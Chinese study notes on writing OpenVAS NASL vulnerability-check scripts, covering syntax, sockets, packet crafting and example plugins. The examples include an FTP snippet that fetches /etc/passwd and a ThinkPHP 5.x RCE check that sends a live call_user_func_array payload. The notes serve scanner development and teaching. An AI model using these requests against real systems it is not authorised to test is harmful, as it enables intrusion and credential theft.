最近在看openvas,如下是基礎知識筆記php
資料來源:html
http://books.gigatux.nl/mirror/networksecuritytools/0596007949/toc.htmlweb
https://blog.csdn.net/weixin_41010318/article/details/79291004正則表達式
https://www.tr0y.wang/2018/12/31/openvas/index.htmlthinkphp
一、nasl基礎安全
1.一、openvas-nasl -h服務器
1.二、匿名/非匿名(Non-anonymous Function)網絡
當函數參數有次序要求,而且這個函數的參數是不一樣的類型,這個函數就是一個非匿名函數app
若是函數只有一個參數,或者全部參數的類型是相同的,這種函數就叫作匿名函數dom
注:用戶定義的函數必須使用非匿名函數(non-anonymous)參數,NASL可以處理遞歸調用
1.三、hello world
編寫腳本openvas_hello_world.nasl
display("Hello World \n");
不使用證書和簽名,運行腳本
openvas-nasl -X ./openvas_hello_world.nasl
1.4 、數據類型
數值常量:前綴「0x」表示十六進制數字, 前綴「0」表示8進制
字符串:常規轉義
列表:myarray = mske_list(1, "two"); 有 myarray[0] = 1 myarray[1] = two
哈希值:myports = make_array('telnet', 23, 'http', 80); 有 myports['telnet'] = 23, myports['http'] = 80
局部變量:默認狀況下,變量是局部變量,若有須要也可以使用local_var精確說明
全局變量: global_var myglobalvariable
1.五、算術運算符
+ 用於加號。它也能夠用來執行字符串鏈接 -- 用於執行減法。它也能夠用於執行字符串減法。例如,' cat,dog,mouse'-',dog '生成字符串' cat,mouse ' * 用於乘法 / 用於除法,嘗試除以零,NASL返回0 % 用於執行模運算 ** 用於執行冪運算 ++ 變量值加1
1.六、比較運算符
>< 用於測試字符串中是否存在給定的子字符串。例如,' 123'> <'abcd123def '的計算結果爲 TRUE >!< 用於測試字符串中是否不存在給定的子字符串。在這種狀況下,' 123'>!<'abcd123def '的值爲FALSE =~ 用於匹配正則表達式。使用該運算符相似於調用ereg()函數調用,後者執行相似的操做。例如,僅當str以字符串GET / HTTP / 1.0 / r \ n開頭時,語句str =〜'^ [GET / HTTP / 1.0 \ r \ n \ r \ n] [。] *')的計算結果爲 TRUE 。 \ r \ n !~ 用於測試正則表達式是否 不匹配。它與=〜運算符相反
1.七、賦值運算
= += -+ *= /= %=
1.八、條件判斷
常規 if...else
1.九、循環
for 循環 foreach 循環,遍歷列表 foreach i (myports) { display (i, "\n"); } repeat...until 先執行,後判斷,爲真則退出 i=0; repeat { display ("Looping!\n"); } until (i == 0); while循環
1.十、預約義和全局變量
1、true false true = 1 false = 0 2、NULL i == NULL 等價於i與0比較 str == NULL 等價於str與空字符串比較 3、腳本目錄 如下參數可以在任何目錄下經過script_category( )引入 ACT_ATTACK ACT_DENIAL ACT_DESTRUCTIVE_ATTACK ACT_GATHER_INFO ACT_INIT ACT_KILL_HIST ACT_MIXED_ATTACK ACT_SCANNER ACT_SETTINGS 4、網絡傳輸 open_sock_tcp() 接受一個可選參數,指定以特定方式創建傳輸層鏈接,當設置爲ENCAPS_IP時,表示純TCP套接字 ENCAPS_SSLv23 ENCAPS_SSLv2 ENCAPS_SSLv3 ENCAPS_TLSv1 get_port_transport()函數將套接字號做爲參數,並返回其封裝,該封裝包含前面列表中指定的常量之一 5、重要的NASL函數 簡單的字符串操做函數 chomp() 字符串做爲參數,去除字符串末尾任何回車符、換行符、製表符或空格
crap() 用於重複出現的指定字符串填充緩衝區, crap(length:10, data:'a') => aaaaaaaaaa ,未指定數據,使用默認值X
strcat() 鏈接字符串,並將常量轉換爲字符串格式, strcat('abcd', 'efgh', 1234) => abcdefgh1234
二、網絡相關函數
2.一、套接字的處理
套接字是使用TCP或者UDP協議和其它主機通信的途徑。在NASL中不容許你直接打開一個和測試目標通信的套接字,所以你只能使用NASL提供的函數打開套接字
2.二、如何打開一個套接字
在NASL中,函數open_sock_tcp()和open_sock_udp()分別用於打開一個TCP或者UDP套接字。這兩個函數使用匿名(anonymous)參數
#在80端口打開一個TCP套接字 soc1 = open_sock_tcp(80); #在123端口打開一個UDP套接字 soc2 = open_sock_udp(123);
若是沒法和遠程主機創建鏈接,這兩個函數就會返回0,一般open_sock_udp()不會失敗,由於沒有辦法肯定遠程主機的UDP端口是否開放,對於open_sock_tcp(),若是遠程主機的端口是關閉的,它就會返回0
open_sock_tcp()能夠用於對TCP端口的簡單掃描,例如:
strat = prompt('First port to scan?'); #輸入開始的端口 end = prompt('Last port to scan?'); #輸入結束的端口 for(i = start; i < end; i++) { soc = open_sock_tcp(i); if(soc){ display('Port', i, 'is open'); close(soc); } }
2.三、如何關閉一個端口
關閉一個端口使用close()函數,在close()內部,關閉端口以前,它首先會調用shutdown()函數
2.4讀取套接字
#根據被讀寫的套接字類型,能夠選擇使用以下函數完成這兩項操做
recv(socket:;length:[,timeout:])
#從套接字中讀取length個字節,這個函數能夠用於TCP和UDP。超時(timeput)參數可選,單位爲秒
recv_line(socket:,length:[,timeout:])
#這個函數和recv()函數相似,只是若是遇到換行()操做終止。這個函數只能用於TCP套接字
send(socket:,data:[,length:])
#從套接字發送數據。可選參數length告訴函數發送字節。若是沒有設置length,發送操做就在遇到NULL時終止。
若是沒有設置超時參數,讀函數(recv()和recv_line())就使用默認的超時時間5秒。若是時間到,它們就返回FALSE
#如下代碼用於顯示遠程主機的banner信息 soc = open_sock_tcp(21); if(soc) { data = recv_line(socket:soc, length:1024); if(data) { display('The remote FTP banner is :', data, ''); } else { display('The remote FTP server seems to be tcp-wrapper'); } close(soc); }
三、高層操做
3.一、NASL有一些針對FTP和WWW協議的函數,用於簡化對這兩個應用層協議的某些操做
ftp_log_in(socket:,user:,pass:)
#嘗試經過套接字登陸到FTP主機。若是用戶名和密碼都正確,就返回TRUE,不然返回FALSE
ftp_get_pasv_port(socket:)
#向遠程FTP服務器發出一個PASV命令,得到鏈接的端口。NASL腳本能夠經過這個端口從FTP服務器下載數據。若是發生錯誤函數將返回FASLE
is_cgi_installed()
#測試遠程WEB服務器是否安裝了名爲CGI程序。這個函數向遠程WEB服務器發出GET請求實現這個目的,若是不是以斜槓(/)開頭,就認爲它是相對於/cig-bin/。這個函數也能夠用於肯定某個文件是否存在
示例腳本:
# #針對www服務器的測試 # if(is_cgi_installed('/robots.txt')){ display('The file /robots.txt is present'); } if(is_cgi_installed('php.cgi')){ display('The CGI php.cgi is installed in /cgi-bin/'); } if(!is_cgi_installed('/php.cgi')){ display('There is no php.cgi in the remote web root'); }
# # 針對FTP服務器的測試 # # 打開一個鏈接 soc = open_sock_tcp(21); # 匿名登陸到遠程FTP主機 if(ftp_log_in(socket:soc,user:'anonymous',pass:'joe@')) { # 打開一個被動傳輸模式的端口 port = ftp_get_pasv_port(socket:soc); if(port) { soc2 = open_sock_tcp(port); #嘗試得到遠程系統的/etc/passwd文件 data = string('RETR /etc/passwd '); send(socket:soc,data:data); password_file = recv(socket:soc2,length:10000); display(password_file); close(soc2); } close(soc); }
3.二、原始報文的處理
NASL容許用戶構造本身的IP報文,並且報文的定製是以一種智能的方式進行的。例如,若是你改變了一個TCP報文的某個參數,就會形成其TCP校驗和發生改變,可是你沒必要爲此費心,NASL會自動完成。全部的原始報文構造函數都使用非匿名(non-anonymous)參數。參數的名字都是來自BSD的包含文件。所以一個IP報文的長度域叫作ip_len而不是length。
3.三、構造原始報文
在NASL中,你可使用forge_ip_packet()函數構造一個新的IP報文;使用get_ip_element()函數得到報文某個域的值;使用set_ip_element()函數改變現有IP報文某個域的值。
forge_ip_packet函數的原形以下:
forge_ip_packet(ip_hl :, ip_v :, ip_tos :, ip_len :, ip_id :, ip_off :, ip_ttl :, ip_p :, ip_src :, ip_dst :, [ip_sum :]);
#其中,ip_sum參數是可選的,若是沒有使用,NASL會自動計算報文的校驗和。ip_p參數能夠是一個整數值,或者是IPPROTO_TCP、IPPROTO_UDP、IPPROTO_ICMP、IPPROTO_IGMP或者IPPROTO_IP等常量中的某個值。
get_ip_element()函數的原型以下:
get_ip_element(ip :,element :'ip_hl'|'ip_v'|ip_tos'|'ip_len'|'ip_id'|'ip_off'|'ip_ttl'|'ip_p'|'ip_sum'|'ip_src'|'ip_dst');
#get_ip_element()將返回報文中的某個域的值。element參數必須是'ip_hl'、'ip_v'、ip_tos'、'ip_len'、'ip_id'、'ip_off'、'ip_ttl'、'ip_p'、'ip_sum'、'ip_src'、'ip_dst'中的一個,並且引號是必不可少的。
set_ip_elements()函數的原型以下:
set_ip_elements(ip :, [ip_hl :,] [ip_v :,] [ip_tos :,] [ip_len :,] [ip_id :,] [ip_off :,] [ip_ttl :,] [ip_p :,] [ip_src :,] [ip_dst :,] [ip_sum :] );
#這個函數能夠改變IP報文的值,若是你沒有修改ip_sum域的值,它會自動從新計算。這個函數沒有構造報文的能力,所以須要把它放在forge_ip_packet()函數以後。
最後,還有一個函數dump_ip_packet()須要說明一下,這個函數可以以可讀的方式把IP報文的內容輸出到屏幕。這個函數應該只用於調試目的。
3.四、讀取報文
你可使用pcap_next()函數讀取一個報文,其原型以下:
reply = pcap_next();
這個函數將從你使用的最後一個接口讀取一個報文,報文的類型取決於最後設置的pcap類型
3.五、工具函數
this_host() #得到運行腳本的主機IP地址,沒有參數 get_host_name() #返回當前被測試主機的主機名,沒有參數 get_host_ip() #返回當前被測試主機的IP地址,沒有參數 get_host_open_port() #獲取遠程主機打開的第一個端口號,沒有參數。這個函數對於某些腳本(例如:land)很是有用,有些TCP序列號分析程序須要經過這個函數獲取遠程主機一個打開的端口 get_port_stat() #若是TCP端口打開或者其狀態未知,就返回TRUE telnet_init() #在一個打開的套接字上初始化一個telnet會話,而且返回telnet數據的第一行 例: xoc = open_sock_tcp(23); buffer = telnet_init(soc); display('The remote telnet banner is ', buffer, ''); tcp_ping() #若是遠程主機應答TCP ping請求(發送一個設置ACK標誌的TCP報文),本函數就返回TRUE,沒有參數。 getrpcport() 獲取遠程主機的RPC端口號,原型爲: result = getrpcport((program:<PROGRAM_NUMBER), protocol:<IPPROTO_TCP|IPPROTO_UDP, [version:]) #若是遠程主機的程序沒有在RPC portmap監控進程中註冊就返回0
四、腳本舉例
# # This script was written by Renaud Deraison <deraison@cvs.nessus.org> # # # See the Nessus Scripts License for details # if(description) { script_id(10079); script_version ("$Revision: 1.2 $"); script_cve_id("CAN-1999-0497"); script_name(english:"Anonymous FTP enabled"); script_description(english:" This FTP service allows anonymous logins. If you do not want to share data with anyone you do not know, then you should deactivate the anonymous account, since it can only cause troubles. Risk factor : Low"); script_summary(english:"Checks if the remote ftp server accepts anonymous logins"); script_category(ACT_GATHER_INFO); script_family(english:"FTP"); script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison"); script_dependencie("find_service.nes", "logins.nasl", "smtp_settings.nasl"); script_require_ports("Services/ftp", 21); exit(0); } # # The script code starts here : # include("ftp_func.inc"); port = get_kb_item("Services/ftp"); if(!port)port = 21; state = get_port_state(port); if(!state)exit(0); soc = open_sock_tcp(port); if(soc) { domain = get_kb_item("Settings/third_party_domain"); r = ftp_log_in(socket:soc, user:"anonymous", pass:string("nessus@", domain)); if(r) { port2 = ftp_get_pasv_port(socket:soc); if(port2) { soc2 = open_sock_tcp(port2, transport:get_port_transport(port)); if (soc2) { send(socket:soc, data:'LIST /\r\n'); listing = ftp_recv_listing(socket:soc2); close(soc2); } } data = " This FTP service allows anonymous logins. If you do not want to share data with anyone you do not know, then you should deactivate the anonymous account, since it may only cause troubles. "; if(strlen(listing)) { data += "The content of the remote FTP root is : " + listing; } data += " Risk factor : Low"; security_warning(port:port, data:data); set_kb_item(name:"ftp/anonymous", value:TRUE); user_password = get_kb_item("ftp/password"); if(!user_password) { set_kb_item(name:"ftp/login", value:"anonymous"); set_kb_item(name:"ftp/password", value:string("nessus@", domain)); } } close(soc); }
該插件經過查詢Services/ftp的知識庫來測試遠程主機是否正在運行ftp服務,插件執行後可以將Services/ftp的值設置爲找到FTP服務的端口號,若是get_kb_item()函數沒有返回值,則端口號被設置爲21
若是給定端口關閉,get_port_state()函數返回FALSE,調用exit(0)退出。返回TRUE,則經過open_sock_tcp()函數創建TCP鏈接。經過查詢知識庫中的Settings/third_party_domain項,將變量domain設置爲返回的字符串。默認狀況下設置爲example.com.
ftp_log_in()函數被用來遠程登陸目標主機的ftp服務,參數有:username(user),password(pass),和 port number(socker),若是能成功通遠程主機的FTP服務驗證,則返回true,不然返回false。在本例中,傳遞給ftp_log_in()函數的用戶名是匿名的,應爲該插件測試是匿名測試,發送的密碼將是字符串nessus@example.com。若是ftp_log_in()返回true插件將會調用ftp_get_pasv_port()函數,發送PASV命令到FTP服務,服務器回返回端口號用於創建被動(passive)鏈接的FTP服務,端口號被ftp_get_pasv_port()函數返回,存儲在變量port2中。
open_sock_tcp()函數經過port2指定的目標主機的端口號與本機創建TCP鏈接,接下來,使用send()函數將LIST字符串打印到套接字描述符(soc2)。FTP服務將會調用ftp_recv_listing()函數返回一個當前目錄的列表,存儲在listing字符串中。
security_warnbing()函數向Nessus用戶指出安全警告,ftp/anonymous在示例中被指定爲true,以指示主機經過匿名訪問的方式訪問目標主機的ftp服務,該插件將會檢查ftp/password,若是未設置該選項,則該插件會將ftp/login和ftp/anonymous的值分別設置爲anonymous和nessus@example.com
五、插件分析
cross_site_scriping.nasl插件功能舉例 script_category(ACT_GATHER_INFO) #ACT_GATH (信息採集類腳本) #ACT_ATTACK (嘗試獲取遠程主機權限腳本) #ACT_DENIAL(拒絕服務***腳本) #ACT_SCANNER(端口掃描腳本) category表明了腳本執行的優先級,經過宏對各種category值的優先級進行定義,NASL腳本按照下表中category優先級由高到低執行,相同優先級按照腳本id順序執行 script_family("Web Servers"); 設置腳本所屬的族(family),NASL對此沒有明確規定,插件做者能夠本身定義腳本所屬的族 script_dependendes("find_service.nasl", "httpver.nasl"); 說明腳本依賴關係,若是要讓cross_site_scriping.nasl正常運行,必須依賴find_service.nasl"、"httpver.nasl"這兩個腳本 port = get_http_port( default:80 ); 獲取服務器端口 if(get_port_state(port)); 判斷端口是否打開 req = http_get( item:url, port:port ); 發送帶有攻擊性的請求 注意:nasl腳本主要是對攻擊的描述,只是說明的攻擊的步驟,不是一般意義上的攻擊 res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE ); 接收響應
六、openvas腳本加載過程
啓動openvas時,由openvassd進程加載全部的腳本(/var/lib/openvas/plugins/下的*.nasl腳本),存儲爲argiist結構(數量可變的參數列表指針);根據客戶端傳遞的配置星系,選取須要的腳本,加載爲scheduler_plugin結構;最後根據選取腳本的category將腳本分組,組織腳本的執行順序,保存到plugins_scheduler-struct結構
七、編寫本身的腳本並加載到OpenVas
在/var/lib/openvas/pligins/下新建文件夾,存放本身的nasl腳本文件,thinkphp-2018-12-09.nasl文件內容以下:
if(description) { script_oid(1545919522); # 設爲時間戳 script_tag(name:"last_modification", value:"$Date: 2018-12-31 10:28:30 +0100 (Mon, 31 Dec 2018) $"); script_tag(name:"creation_date", value:"2018-12-27 22:05:22 +0100 (Thu, 27 Dec 2018)"); script_version("$Revision:2.0$"); script_name("ThinkPHP RCE(2018.12.09)"); script_tag(name:"cvss_base", value:"8.3"); script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C"); # 設置腳本類型 # 類型以下: # ACT_INIT: Plugin sets KB items. # ACT_SlistlisCANNER: Plugin is a port scanner or similar (like ping). # ACT_SETTINGS: Plugin sets KB items after ACT_SCANNER. # ACT_GATHER_INFO: Plugin identites services, parses banners. # ACT_ATTACK: For non-intrusive attacks (eg directory traversal). # ACT_MIXED_ATTACK: Plugin launches potentially dangerous attacks. # ACT_DESTRUCTIVE_ATTACK: Plugin attempts to destroy data. # ACT_DENIAL: Plugin attempts to crash a service. # ACT_KILL_HOST: Plugin attempts to crash target host. script_category(ACT_ATTACK); script_copyright("CopyRight: XinDun in 2018.12.27"); script_family("MyNVTs"); script_require_ports("Services/www", 80); script_tag(name:"summary", value:"Send a payload: '?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Tr0y', expected return md5('Tr0y'): 8f95eca949e2ec377434ea3fea1cc381"); script_tag(name:"solution", value:"see https://blog.thinkphp.cn/869075 for more detials"); script_tag(name:"insight", value:"This vulnerability affects these versions: ThinkPHP v5.0: < 5.0.23 and ThinkPHP v5.1 < 5.1.31"); script_tag(name:"affected", value:"The site which powerd by thinkphp with specific version."); exit(0); } # 添加庫 include('/var/lib/openvas/plugins/http_func.inc'); # 路徑不必定是這個 include('/var/lib/openvas/plugins/global_settings.inc'); # 路徑不必定是這個 # -------------------------------- # 發送 payload # 獲取 www 端口,默認爲 80 port = get_http_port(default: 80); str = string("GET /index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Tr0y HTTP/1.0\r\n\r\n"); # 發送 payload 並返回服務器的響應 recv = http_send_recv(port: port, data: str); # DEBUG 使用,打印返回的 header+body display(recv, "\n"); # 利用正則檢查 payload 是否執行成功 vulnerable = egrep(pattern:'8f95eca949e2ec377434ea3fea1cc381', string:recv); if(vulnerable) { report = "Thinkphp v5.x Vulnerable!"; security_message( port:port, data:report); # 給 OpenVAS 的反饋,執行這個纔會有 vulnerable 顯示 } else report = "Thinkphp v5.x NOT vulnerable"; # DEBUG 使用 # display(report); exit( 0 );
使用openvas-nasl debug 將debug語句註釋去掉,運行該腳本,-X參數表示不驗證nasl文件的有效性,-t參數,將url傳遞給腳本
編寫並檢查完腳本後,執行
service openvas-manager restart service openvas-scanner restart openvasmd --rebuild --progress
在web端識別到咱們自定義的NVT